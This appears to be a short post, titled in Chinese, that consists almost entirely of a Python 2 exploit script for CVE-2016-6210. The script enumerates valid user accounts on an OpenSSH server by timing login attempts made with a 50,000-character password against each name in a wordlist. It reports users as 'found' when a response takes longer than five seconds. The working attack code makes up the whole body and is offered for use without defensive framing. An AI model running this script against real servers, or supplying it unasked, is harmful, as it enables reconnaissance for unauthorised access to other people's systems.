OpenSSH利用处理畸形长度密码造成的时间差，枚举系统用户(CVE-2016-6210)

import paramiko 
import time
import sys
from fileutils import FileUtils

def get_user(ip,user):

    p=‘A‘*50000 
    ssh = paramiko.SSHClient() 
    starttime=time.clock() 
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
    try: 
        ssh.connect(ip, username=user, password=p) 
    except: 
        endtime=time.clock()
    
    total=endtime-starttime 
    return (total) 
        
if __name__ == ‘__main__‘:
    ip = sys.argv[1]
    for user in FileUtils.getLines(‘user.lst‘):
        try:
            i = get_user(ip,user)
        except Exception,e:
            print str(e)
        if i > 5.0:
            print ‘%s : %s : %s found‘ % (ip , user,i)
        else:
            print ‘%s : %s : %s no found‘ % (ip,user,i)